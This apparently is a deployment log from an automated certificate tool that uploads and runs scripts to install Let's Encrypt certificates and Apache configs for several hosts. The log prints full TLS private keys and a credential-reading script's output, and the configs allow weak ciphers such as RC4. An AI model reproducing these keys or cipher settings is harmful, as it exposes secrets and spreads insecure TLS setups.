ErrorLog /var/log/apache2/patientapps/beta_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-09-24 06:00:13:
PUT: /tmp/pkp329817
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-24 06:00:13:
chmod 755 /tmp/pkp329817; /tmp/pkp329817; rm /tmp/pkp329817
2025-09-24 06:00:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8 5364
77:da:7c:94:63:80:a0:72:a6:36:a5:85:52:fd:b5:52
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBTr37G35gidfi9Z23/uNiibaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI0MDUwMTQwWhcNMjUxMjIzMDUwMTM5WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAL/T3goLmxg8+tJURk49c3Z9I6quir5deJ4cL+ctVMWGlFwgHKhtRYcy
bYB6U+RgGIpABhngisbSKtIA9jtU8GIZcMsT0LQxTF4fyUgWzAMXm4ocuh7P1YDn
HovxmiJUgHqTsYi6C54OS2kbOYBS+Nmqg60yov16BqDxBAjI2/kwhgLie3+eDHcW
d7BAonTs3dfEB+/XHQI5ws+3yNdcyIVCK28AB4nUZC/5AgB8fPSNS2G579Vd50y9
3t7OFsXUW1w69en/9wpdK5vmJCCA5jLSR5uVfQsYYOm0cLVg8NmvBx2nJGmNgcBf
Dy+ErYrA4BY0tVdu6WkUfycBC8pnunkCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUisxLTBYAEl3R1tKjv9glgkTYmJ8wHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzkxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmXpO1U0A
AAQDAEcwRQIgIpyz8kmfEOuSe4Q253pmn1B4f+BmGj/iB5awaWdIJNUCIQD1b9fZ
9oF70jtb/bx4hA8c5uhlhMOIshRSPjn+cWRtSAB2ABmG1Mcoqm/+ugNveCpNAZGq
zi1yMQ+uzl1wQS0lTMfUAAABmXpO1XgAAAQDAEcwRQIhAOPiJIQP5o2j4Pn7gmiK
q2BX+iHWLDyAD4aXIfp0/7GZAiAJzE+zvhQXSHKEPx/OsiCwt69gBCTkL60kvBJl
36SMVjANBgkqhkiG9w0BAQsFAAOCAQEAaZFHG1X312M0YALqnnW9LNP+BIUCl0wR
XSOgxrCtBVRXCOXTJsvtLz8n1s/mdWWrb6DuN02EDvUAumCBbk11nzjs/slA8hde
lWAU9EZVMAJi4iRVzo71996TBSsCD4PWA13/u699k8kTSgKl4GkNU+GtV1ViZ/6u
7RPX5Tf48oAsrCgbODHgmRaqq3ZFYlpYk4j4zJDbutE7/YaItoB6HiSvy/YWVlkr
wAY6oytndZPS2xutY+aitCc1LvKUjvfEpj5FhhjLWWsSrlWXlZhz8e0PUQPgR3QZ
Uf2jklS3/6JjDN/se4f9EvNAC6dyz2Bfhdy/Tk+6On7in22Ng7Mlxg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/094KC5sYPPrS
VEZOPXN2fSOqroq+XXieHC/nLVTFhpRcIByobUWHMm2AelPkYBiKQAYZ4IrG0irS
APY7VPBiGXDLE9C0MUxeH8lIFswDF5uKHLoez9WA5x6L8ZoiVIB6k7GIugueDktp
GzmAUvjZqoOtMqL9egag8QQIyNv5MIYC4nt/ngx3FnewQKJ07N3XxAfv1x0COcLP
t8jXXMiFQitvAAeJ1GQv+QIAfHz0jUthue/VXedMvd7ezhbF1FtcOvXp//cKXSub
5iQggOYy0keblX0LGGDptHC1YPDZrwcdpyRpjYHAXw8vhK2KwOAWNLVXbulpFH8n
AQvKZ7p5AgMBAAECggEAPlqpJ0zEemmAApSAUfhpqs9co6Oe1+hcR9DTxWqXzqlD
WnrZtennGt5Kd+PLl0WhVHchRJIXqi8w2hiT8Y9XoBuy7WAgjCImN8ZPUE6QvESV
O5zA5zkZpo/5/vVm69fZ935AzDflhNgSrTS7STovR9nEea0nDAv5UaFmdVCNKH+L
ONf0Ik60yASVCBK56Ux+Zwhi60EHrRVC7FGHf2KdCk59yujgZMglkEbzQKgBcq5H
gwUvmJM6bQIMeaqmoDJa84mGkYD+Qxd2sQdmaKyFzEafCCfVoFj0v5ktbIyZla0l
wL7KisgUCFIGGGhHu5HGHEFWJ2QeoeL92LbQRDXYfQKBgQD6iPaINeq2dJ97dU5g
asEBl7/udki3RLwNlDWxr2NpqwOscCtlWeGMra7Ggk08J0trPwug/mzXKPaS9bZq
HipClClMP6RRsqsGBTedB8GP7S/vidSnhdt+mCDwBUFuCx0OW9BaNQ7HTUAf8zx7
jO0OlsjXNErRFNUN9LzAH1peOwKBgQDEAxIRnap0S8bTgiysV7NhcO2Xkw6e3jnx
igvhbcScQsMp3I/VAvx2n0HKP6UB30AL7ySrOteAsF9qPrya/dz8xV8Wa3Qs8T3S
9ARx01Zo/z67DojG586XD52DPSfD3TXRzJBRdma7gJ2HjxNCIdxOZypeo6X/3Lr7
JN8vHYN62wKBgEWULiusFbBweS5XaNn8K/geRe6bKRzE2RlIVRUw6YIaPZ3xVQwD
x1FDlyuIWpzfKOHzE2612lJzDO/Jj8yu7fupnEKR1jfeUAMPBd/1nHs1Wz/CXq3b
zha9d0BRpVdDfOFU/GthGuac/Lci3WROwjNwCv1Bh5nDmFwU4SrWSkmrAoGAMUxg
aAPSkitY12t/Ft175T8E0sGOxNA5nJFOyaTU9UQpV8b8eeOlYaROZLK7KoxezGGa
RGKpPtmdNdiPkR/WS9DMSJRABOmr1fm/gG1Z51CDE4LlTbmRkRbBU/e2n6FsXtbn
WUXBMtl3RVfrzQ89HI7/7guUvZRjhrTQWUZAAk8CgYEAt/s4RCTd6t50I1iG5pyV
IUNzLFGWnKzG1zT1zS8Rvhne8mb46rcD8oXXMjDWu6t5r4FEN60WMdXpMM5MufQc
/cqTkwnKXhCnLAJX1wrgLLIPSJObu9hV8NLGHV/Xbmx0pYZBJKeI1PQbNKmeeEoN
1WM5dWMpEOYELpzun1t9yIg=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-26 06:00:02: Establishing a connection
2025-09-26 06:00:04: Establishing a connection
2025-09-26 06:00:05:
PUT: /tmp/pkp283356
#!/bin/bash
if [ -d "/var/www/hostz_messier/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:00:06:
chmod 755 /tmp/pkp283356; /tmp/pkp283356; rm /tmp/pkp283356
2025-09-26 06:00:06:
1
2025-09-26 06:00:07: Establishing a connection
2025-09-26 06:00:09:
PUT: /tmp/pkp400477
#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
cat > 1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk
2025-09-26 06:00:10:
chmod 755 /tmp/pkp400477; /tmp/pkp400477; rm /tmp/pkp400477
2025-09-26 06:00:10:
2025-09-26 06:00:15: Establishing a connection
2025-09-26 06:00:17:
PUT: /tmp/pkp619023
#!/bin/bash
mkdir -p "/var/www/hostz_messier/.well-known/acme-challenge/"
cd "/var/www/hostz_messier/.well-known/acme-challenge/"
rm 1uq2-mk-0RnZwkGSonlDnO75gmGuhAJMV0gEstLD-yk
2025-09-26 06:00:18:
chmod 755 /tmp/pkp619023; /tmp/pkp619023; rm /tmp/pkp619023
2025-09-26 06:00:18:
2025-09-26 06:00:18: Establishing a connection
2025-09-26 06:00:19:
PUT: /tmp/pkp762770
#!/bin/bash
temp_file=$(mktemp)
TARGET=7933e54b4869b54869c55f49aa21a2a8.crt
cat > $temp_file <<'endmsg'
bc:ac:2f:96:53:d3:97:97:81:4d:ce:74:00:47:62:fc
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWp8+6T+uPSMzQ7a9g3X5AAJMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMTQzWhcNMjUxMjI1MDUwMTQyWjAcMRowGAYDVQQD
ExFtZXNzaWVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAJ113fwEUG2x/58FamR9Phqtdw0KxodjlCHdD14DugX2dIW/qpIc45f84HZ4
o56U6ebCl1g8EZUEhgEl3GtQoldY0osIXUO2198CbFYS6oi3u4wvzi9ihQ1/88nF
mblNtbSeE6YFMbO1MKnOvGXYKXrEnbBuOA6vQ/ph7UtIq1lvzcidWZWOUbFkngO0
LP574OyhdG8omT4lIm+Ysd0BN+MvLB5TG2ReRsxtxpZcY4rsJaLR7RqcpQ3/dCqh
OwbrvJmrRNU+iGN839xq+D+z5uw7lCMbbMQpSLXM7ckqpSXLDa7a2gf/25W0MHN3
jF2Ua+9XIf5ml/kmdh1sWQ6OqfcCAwEAAaOCAiMwggIfMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUyvTPhYJcrQfawAUhG5j8uLYRL9gwHwYDVR0jBBgwFoAU56ufDywz
oFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEzLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFtZXNzaWVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEzLmMubGVuY3Iub3JnLzEwLmNybDCCAQYGCisGAQQB1nkCBAIEgfcEgfQA8gB3
ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmYSbl0kAAAQDAEgw
RgIhAJSKe/jbMh0gh+caSmWetSoF5jBuH82dX17fGB9HTIcwAiEAhYomwsLm/kY0
AzsETncKCEmfvqaCR8xyHIg7pwXiwO4AdwCkQsUGSWBhVI8P1Oqc+3otJkVNh6l/
L99FWfYnTzqEVAAAAZmEm58YAAAEAwBIMEYCIQCIs43nontbOwJAVB7KiLRaqp0s
PoC4oYs+h4BaDLGUyAIhAIGCdnYE03sPFuV/7e8Q0lCmKpz+h2u50lj8bIpDeD/Z
MA0GCSqGSIb3DQEBCwUAA4IBAQAGlzvUr7NFBQf2Qs4ZkgxB/X7YpqjJSkR78I37
UqTrXEe8ZltZCZ+zo62Eotct/E4Eu5Ujl/1n/qyVU8e29AX4THPvZ7nI9SswoHvm
SwnR5PMrt5Rw5QkIYeFzTW7XHzWXM7eZ8WYRggxgm71/08hP93tX48AsKeMxqbwr
dWuPBIr+EvcoAZ49cXtnsBTml+SjZA8pmDvWHnQQmji4jiB54VEzJRgFCbW2I9MO
pkYD/YM5w+T3vhQ0VLh96pyGbKn2lr/h2lvYPHlMBrUgeJFv145kI/g1tABrR/FM
8ynJiA/p4Taqn12tJxUZfhah2uI9jAkJno9yrVUXZV88bFIs
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCddd38BFBtsf+f
BWpkfT4arXcNCsaHY5Qh3Q9eA7oF9nSFv6qSHOOX/OB2eKOelOnmwpdYPBGVBIYB
JdxrUKJXWNKLCF1DttffAmxWEuqIt7uML84vYoUNf/PJxZm5TbW0nhOmBTGztTCp
zrxl2Cl6xJ2wbjgOr0P6Ye1LSKtZb83InVmVjlGxZJ4DtCz+e+DsoXRvKJk+JSJv
mLHdATfjLyweUxtkXkbMbcaWXGOK7CWi0e0anKUN/3QqoTsG67yZq0TVPohjfN/c
avg/s+bsO5QjG2zEKUi1zO3JKqUlyw2u2toH/9uVtDBzd4xdlGvvVyH+Zpf5JnYd
bFkOjqn3AgMBAAECggEAM3lEiA4g/LsjhSiQDymiE7aBJJJRNBEpa6iITYOKXEik
7tQpPnqTLCxOdGwbkMu9auJR91YrqTtBUz69P5esekFfEnQ5iNlM2GpCYCDu6qKl
fL5j+LmMJU2etGcUSa9Npy3F3o/0H3sr3Vbn36M6bBe6NOLTEHnbDw7UM7gdy65t
jGBztXkYooogJPIyD5OSfBD6iJyxnBVVUjkEjJKeaSb63PSTeqrR3a0jqFSLhsLo
zDS5ORDJs9T6SUlBWrk5BJ/RYfX6CjsMJ+S3u7DTDpClVXqw02Ko4M4EJ1m7hUGE
gkfoScNdbHEL2kbClWwo+x1/UsTY1IfxY9LOAhpfgQKBgQDQOQbGdWbHg/DcuTn5
i74K2GeKfT6SSk3twk2slwdZIxrv8Y9fQt9tY5eargD+t9LBj+NJF1sO7h9YLMgo
U1K3miR/U6ZXxJ0stslVPcElLj07JgGghDY7JgFko1cQgmM8mh7f+9Ylwqlc/U2K
kDYEJulDywAYPjzqsvKpMEBOKwKBgQDBlxGB2RImPRi3vh4n9K6EQU4Z0YRibSlm
S525ThyI9Sosc1HIL0gFFwUwDGS3SFDXLetTW6gHonjj/pID7r1M6Q1LstU5/H6x
AkBTqPGf6MZ5ateSV85jvu+cZMCeZqSwV7FVzCrFgQqJJUK1LoHLTf3mCUoQicST
HS97/3j5ZQKBgH+QUDxJNHxKsscmmwPsvrK6PUS00h6hcviULy3rIM9VGG2jWaiM
uYC0oO5cZ7OlPnLjCeV/b4PIEl/cn4tE8MoWnwF6Z9AhXgFEwjd8q9VxbIXOFPUX
ynmWIQhcoTw2BUHdUcj66gkcJtIXROf8zXrhs8qalSZFCuDmXI+WRe8dAoGAMLT6
oank6BwNIQXDfpgQZJQtu088uKrwdJ1n1Jyzjz3n24E0PWKwAx/UnU8w8/BM7qbO
A44XC7y0H+EICddCZ5xnTPl0rn85vP1tA9+I04v0i8326QoQkoYSsU2kLPZ0Ty3x
Hz4cMM8TwIfQbdeCro0z6XHC4cBX5g+8x7zySgUCgYBxdbsWew6O5UAIV2UufQBj
S0nn5/YGKoMx0z0ofEHGCwcAJcRrv2ZSXO33nurPHP/Hbf2VwWeDzAF8Zh0r+hvX
TPGNSbUxRvab542L1vnasqFdVv7sQCpQpCA2CbJSYjp0ay5hh5YxLnWT2+JAdcRi
pgTxTT1SwyVPL4SP6eb+Ig==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:00:20:
chmod 755 /tmp/pkp762770; /tmp/pkp762770; rm /tmp/pkp762770
2025-09-26 06:00:20:
dir=/etc/pki/tls/certs/
2025-09-26 06:00:20:
PUT: /tmp/pkp858316
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/hostz_messier.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:00:21:
chmod 755 /tmp/pkp858316; /tmp/pkp858316; rm /tmp/pkp858316
2025-09-26 06:00:21:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_messier.conf 1520
<VirtualHost *:80>
ServerName messier.hostz.org
DocumentRoot /var/www/hostz_messier
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
Require all denied
</Files>
ErrorLog "logs/messier_error_log"
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.py index.php
<Location /server-status>
SetHandler server-status
Require ip 173.48.93.56
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName messier.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
DocumentRoot /var/www/hostz_messier
<Directory /var/www/hostz_messier>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/messier_secure_access.log combined
ErrorLog /var/log/httpd/hostz/messier_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:00:21:
PUT: /tmp/pkp962707
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_messier.conf
TARGET=/etc/httpd/conf.d/hostz_messier.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName messier.hostz.org
DocumentRoot /var/www/hostz_messier
#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<Files ".ht*">
Require all denied
</Files>
ErrorLog "logs/messier_error_log"
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.py index.php
<Location /server-status>
SetHandler server-status
Require ip 173.48.93.56
</Location>
</VirtualHost>
<VirtualHost *:443>
ServerName messier.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//7933e54b4869b54869c55f49aa21a2a8.crt
DocumentRoot /var/www/hostz_messier
<Directory /var/www/hostz_messier>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/hostz/messier_secure_access.log combined
ErrorLog /var/log/httpd/hostz/messier_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/hostz_messier.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/hostz_messier.conf)= /etc/httpd//etc/httpd/conf.d/hostz_messier.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_messier.conf= 1'
fi
2025-09-26 06:00:22:
chmod 755 /tmp/pkp962707; /tmp/pkp962707; rm /tmp/pkp962707
2025-09-26 06:00:22:
2025-09-26 06:00:22:
PUT: /tmp/pkp109078
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:00:22:
